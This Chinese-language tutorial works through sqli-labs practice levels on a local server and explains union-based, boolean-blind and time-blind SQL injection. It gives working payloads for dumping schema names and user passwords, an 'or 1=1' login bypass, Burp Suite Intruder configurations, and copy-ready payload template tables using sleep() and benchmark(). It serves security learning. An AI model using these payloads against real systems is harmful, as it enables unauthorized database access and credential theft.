SQL注入-入门学习
联合注入
基本原理
一、核心定义:联合注入攻击利用了关系型数据库的UNION查询操作符特性。其根本漏洞成因在于:Web应用程序在构建动态SQL语句时,将用户输入作为代码的一部分进行字符串拼接,且未对输入进行有效的过滤或参数化处理。
二、原理拆解
1、 结果集合并(集合操作):UNION操作符用于将两个及以上SELECT语句的结果集合并为一个统一的结果集返回给客户端。攻击者通过闭合原始SQL语句中的引号或括号,注入额外的SELECT查询。
2、强制性同构(列数与类型对齐):数据库引擎执行UNION时,要求各子句的列数量必须完全一致,且对应列的数据类型必须相互兼容(或能隐式转换)。因此,攻击者通常先通过ORDER BY进行“列数探针”以确保恶意查询能合法执行。
3、数据混淆与越权读取:一旦满足同构条件,数据库会将原始业务查询的结果集与攻击者构造的恶意查询结果集(例如查询information_schema系统库中的敏感表名、字段名,或直接拖取用户密码字段)在内存中合并。由于Web服务端通常只负责将查询结果集直接渲染到HTML页面的特定变量中(即“回显点”),因此攻击者构造的数据会随着正常业务数据一起被输出到前端,从而完成数据外泄。
三、本质总结:这是一种典型的“控制流与数据流混淆”漏洞,即用户输入跨越了数据边界的红线,被数据库解析器误识别为可执行的指令代码。
字符型注入
1、SQLi-Labs_Less1
首先打开界面

提示我们要输入ID
http://127.0.0.1/sql/Less-1/?id=1
这里要解释一下为什么是
?id=1:在本题当中HTTP传参方式是GET,基于这种方式是直接在url后面加?然后再加id=1作用是以GET的方式传递id这个参数给服务端

回车换行后发现页面正常回显,尝试使用单引号'闭合

我们可以看到mysql出现了报错,为什么会出现这个报错?原因是因为我们多上传了一个单引号',导致sql语句闭合,下面我将详细解释一下报错中的"1"是什么意思,以及为什么会出现这个报错。
$id=$_GET['id'];
这是其后端源码的一部分,我们可以看到:当我们上传id=1'时,会在id后再加一对单引号,新id就变成了'1'',接下来再看另一部分的源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们可以看到系统在新id外又新加了一层单引号,所以这条语句就变成了
$sql="SELECT * FROM users WHERE id=''1''' LIMIT 0,1";
数字1的前面只有两个单引号,后面有三个单引号,这样匹配下来就多了一个单引号出现了报错。在sql语句执行时,会去掉数字1最外端的一对单引号,就变成了'1'',我们再会看报错信息:
near ''1'' LIMIT 0,1'
near自带一对单引号,去掉它们就变成了'1'' LIMIT 0,1,数字1的左右两边出现了数量不一的单引号。这里的确比较绕,简单来说:一个多余的引号破坏了整个 SQL 语句的引号平衡,导致解析失败。
这时如果我们在?id=1'后添加mysql的注释--+,就变成了
$sql="SELECT * FROM users WHERE id=''1''--+' LIMIT 0,1";
这样后面的' LIMIT 0,1"就不会引发报错,如果我们此时输入?id=1 order by 3 --+,那么此时SQL语句就会变成
$sql="SELECT * FROM users WHERE id=''1'' order by 3 --+' LIMIT 0,1";
这样就可以执行代码order by 3。
http://127.0.0.1/sql/Less-1/?id=1' --+

此时我们可以进行联合注入,先判断它有几列
http://127.0.0.1/sql/Less-1/?id=1' order by 3 --+

正常回显,继续尝试有无第四列

没有第四列,说明只有三列,然后继续判断回显位置
http://127.0.0.1/sql/Less-1/?id=1' union select 1,2,3 --+

为什么查询不到呢?不是因为union没有执行,而是Web应用通常只显示查询结果的第一行,所以浏览器直接返回了id=1的页面,如果要达到判断回显的目的,需要让第一个SELECT为假,也就是无法返回数据。更新后的exp如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --+

由此可见,回显位置是union select 1,2,3的数字2和3的位置,接下来就可以爆库名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),3 --+

当前数据库为security,接下来我们可以利用mysql的一个特性:information_schema。这是一个非常特殊的数据库,里面存储了mysql所有数据库的系统信息,这个数据库可以帮助我们知道security数据库的所有表。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

这里需要解释一下为什么要使用group_concat:这个函数的作用是提取多行数据返回成一行表现出来。
表名我们已经知道了,接下来就该爆破users表里的列名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

其中username和password是我们的最终目标!临门一脚爆破出所有username和password。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

2、SQLi-Labs_Less3
照例打开题目,尝试单引号闭合:

报错信息再次出现差异,重点关注'1''),比起第一关多了一个),可能是sql语句对参数id添加了一对小括号,当我们输入1'时sql语句就成了SELECT * FROM users WHERE id=('1'') LIMIT 0,1,我们可以先进行小括号闭合,再单引号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') --+

发现正常回显,成功验证!后续爆破数据库名等信息的步骤这里不再赘述。
数字型注入
1、SQLi-Labs_Less2
打开题目,先尝试一下单引号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1'发现的确出现了回显:
我们可以注意到:报错信息中没有1'而是'只有一个单引号,没有数字1,说明这里没有成功闭合,猜测sql语句可能是
"SELECT * FROM users WHERE id=$id LIMIT 0,1";
所以才会出现只有一个单引号的报错,系统检测到1没问题,检测到'才输出报错,这是经典的数字型注入,poc如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1
回显正常,如果输入:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2
页面无回显,确定是数字型注入,后续步骤与第一关大同小异。
补充说明:?id=1 and 1=1 以及 ?id=1 and 1=2 是经典的验证数字型注入的方法
2、SQLi-Labs_Less4
按照以往方法测试
http://127.0.0.1/sqli-labs/Less-4/?id=1'
发现没有报错
使用双引号测试一下:
http://127.0.0.1/sqli-labs/Less-4/?id=1"

发现报错信息是双引号和小括号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") --+

成功回显!其余步骤与之前完全一致,这里不再叙述了。
SQL 注入的本质在于:服务端没有对用户输入中的恶意代码进行过滤或转义,导致攻击者可以通过构造特殊输入来操纵数据库查询,进而造成信息泄露甚至系统失陷。在 sqli-labs 靶场中,我们常用
--+将后续的 SQL 语句注释掉,从而屏蔽掉原始查询中可能干扰执行的报错或多余条件,使我们的恶意代码顺利执行。因此,只要页面出现了预期的成功回显(例如正常显示数据库内容、绕过登录等),就证明服务端没有对输入做有效检查和过滤,也就意味着我们可以利用这个漏洞达成攻击目的。
盲注
基本原理
盲注说的是看不到页面的任何具体回显数据,页面只有成功访问例如:You are in .....或者空白,没有任何回显。此时只能通过向数据库“提问”的方式,根据返回状态的真假(布尔盲注)或者页面回显的延迟(时间盲注)来判断。
布尔盲注
一、原理:顾名思义,就是利用是否来判断。简单来说,就是将敏感数据转化为是否的问题,通过页面返回的真假,逐步猜出数据。
二、sqli-labs
1、Less-8
打开题目,照例尝试一下单引号闭合?id=1'

发现没有回显,说明出现错误,再利用--+注释错误:

出现You are in.......说明题目确实是单引号闭合,接下来利用Burp Suite爆破数据库名,首先进行抓包并发送到攻击器模块,右击选择发送到攻击器。

然后配置payload:?id=1' and ascii(substr(database(),1,1))=1 --+。
这里需要解释一下:ascii()和substr(),这是MySQL内置的两个函数。
ascii():将字符转为 ASCII 码
substr() :截取字符串
ascii(substr(database(),1,1))的执行顺序是先通过database()提取数据库:security,然后再利用substr(database(),1,1)从第一个位置开始截取一个字符串,得到s,最后由ascii()转化成ascii值。简单来说,就是一个字符一个字符逐一拆解数据库名称,使用Burp Suite会方便许多。
移送到攻击器模块后,我们可以添加两个攻击位置,攻击方式选择集群炸弹,也就是同时对两个位置进行测试。
这是第一个攻击位置的配置:
- 类型:顺序
- 从:1
- 到:8
- 步骤:1

说明:这里填 1-8 是因为已知当前数据库名 security 长度为 8。实际使用时长度未知,可以先写大一点(如 1-30),最后根据哪几个位置没有命中对勾来截断;或先用单独一轮 length(database())=N 探测长度。
第二个攻击位置的配置:
- 类型:顺序
- 从:32(空格,可见字符起点)
- 到:126(~,可见字符终点)
- 步骤:1

接下来需要配置一个设置中的匹配规则,当匹配到You are in...........时标记(此Burp Suite中是标记为1)

总结一下Burp Suite配置的流程。

最后的结果大致如下:

后续只要按顺序将ascii值转化成字符就可以推测出数据库名为security。
| 阶段 | 核心子查询 | 完整 payload 模板 |
|---|---|---|
| 表数量 | count(table_name) | ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=N --+ |
| 表名长度 | length((... limit m,1)) | ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=N --+ |
| 表名字符 | ascii(substr(...,i,1)) | ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=N --+ |
| 列名 | information_schema.columns | ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=N --+ |
| 数据 | select 列 from 库.表 | ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=N --+ |
2、Less-15
这一关和之前略有不同,其传参方式不是GET,而是更加常见的POST,更加贴近于实战。
(1)确认注入类型:打开题目,界面变成了登录框的形式,尝试万能密码:1' or 1=1 #,发现的确是单引号闭合

没有回显,考虑时间盲注或布尔盲注。
(2)进一步判断盲注类型
判断是否为布尔盲注,可以使用永真条件和永假条件:
- 永真条件: uname=1' or 1=1 #&passwd=1 (1=1 为真,页面应提示登录成功)
- 永假条件: uname=1' or 1=2 #&passwd=1 (1=2 为假,页面应提示登录失败)
首先在Username输入框输入1' or 1=1 #,Password框随便输入即可


发现登录成功,再尝试一下永假的情况:

登录失败,说明是布尔盲注。
(3)Burp Suite爆破
接下来就是利用Burp Suite逐一爆破数据库等敏感信息,payload如下:
1' or ascii(substr(database(),1,1))=1 #


3、Less-16
这一关和上一关内容大同小异,只是因为闭合方式不同,这一关是双引号闭合。

时间盲注
一、原理:时间盲注指的是在页面无回显的情况下,通过页面回显的延迟来判断。
二、函数
1、sleep()
sleep(seconds)
- 作用:让数据库查询暂停
seconds秒,返回0 - 如果参数为
NULL,即second为NULL,则返回NULL,不会延时。
2、benchmark()
如果sleep()函数被禁用,我们可以采用其他函数:benchmark()
(1)函数原型
benchmark()是MySQL的内置函数,官方用途是测量表达式执行速度,而非用来延时。
(2)函数表达式
BENCHMARK(count, expr)
- count:执行的次数。为了能够明显测出时间差,通常需要设置一个很大的数字(比如 1000万次)。
- expr:要测试的表达式。必须是一个标量表达式(返回单个值),比如 MD5('test') 或 1+1。
- 测量范围:它只测量表达式在服务器端的运行时间。它不包含 SQL 解析、查询优化、网络传输或锁等待的时间。因此,它非常适合用来对比两个不同函数(如 MD5 vs SHA1)在 CPU 层面的纯计算性能
(3)示例
-- 测试 MD5 执行 1000 万次的时间
SELECT BENCHMARK(10000000, MD5('test'));

三、sqli-labs
1、Less-9
这一关和第八关不同,无论我们输入什么。都只会回显You are in...........且没有任何布尔逻辑,所以考虑时间盲注。
首先尝试一下单引号闭合:http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+,发现页面回显速度有明显的延迟,说明确定是单引号闭合。这样一步步过于繁琐了,我们使用Burp Suite。操作步骤和布尔盲注大同小异,这里只说一下不同的地方。
(1) Options 选项卡:
重点设置 Grep - Match(结果匹配),用来让我们一眼看出哪个请求延迟了。
- 在 Grep - Match 区域,点击 Add。
- 由于我们无法匹配页面内容,只能看时间,所以这里其实不需要匹配特定字符串。我们直接观察请求时间即可。(Burp 会自动在结果列表中显示每个请求的响应时间)。
(2)结果需要通过接收到响应时间来判断

当脚本走到115时,响应时间明显大幅度增大,说明ascii长度是115,也就是s。
后续步骤这里不再过多赘述
| 阶段 | 核心逻辑 | 完整 Payload 模板 (直接复制修改 N, i, m 即可) |
|---|---|---|
| 验证注入点 | sleep(N) |
?id=1' and sleep(3) --+ |
| 库名长度 | length(database())=N |
?id=1' and if(length(database())=N,sleep(3),0) --+ |
| 库名字符 | ascii(substr(database(),i,1))=N |
?id=1' and if(ascii(substr(database(),i,1))=N,sleep(3),0) --+ |
| 表数量 | count(table_name)=N |
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=N,sleep(3),0) --+ |
| 表名长度 | length((... limit m,1))=N |
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit m,1))=N,sleep(3),0) --+ |
| 表名字符 | ascii(substr(...,i,1))=N |
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m,1),i,1))=N,sleep(3),0) --+ |
| 列数量 | count(column_name)=N |
?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=N,sleep(3),0) --+ |
| 列名长度 | length((... limit m,1))=N |
?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1))=N,sleep(3),0) --+ |
| 列名字符 | ascii(substr(...,i,1))=N |
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1),i,1))=N,sleep(3),0) --+ |
| 数据数量 | count(列名)=N |
?id=1' and if((select count(username) from security.users)=N,sleep(3),0) --+ |
| 数据长度 | length((... limit m,1))=N |
?id=1' and if(length((select username from security.users limit m,1))=N,sleep(3),0) --+ |
| 数据字符 | ascii(substr(...,i,1))=N |
?id=1' and if(ascii(substr((select username from security.users limit m,1),i,1))=N,sleep(3),0) --+ |
| 替代延迟方案 | benchmark(N, expr) |
?id=1' and if(条件,benchmark(30000000,md5('test')),0) --+ |
变量说明:
N:要猜解的数字(如长度为 8,ASCII 码为 115)。i:截取的第几个字符(从 1 开始)。m:查询的第几条记录(从 0 开始,如limit 0,1取第一条)。sleep(3):延迟 3 秒,可根据网络环境调整为 2、5 等。benchmark(...):当sleep()被过滤时的替代方案,利用 CPU 密集计算制造延迟。
2、Less-10
这一关和第九关基本相同,唯一一点就是闭合方式不同。
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5) --+
这一关是双引号闭合,其余步骤和第九关完全一致,这里不再赘述了。

浙公网安备 33010602011771号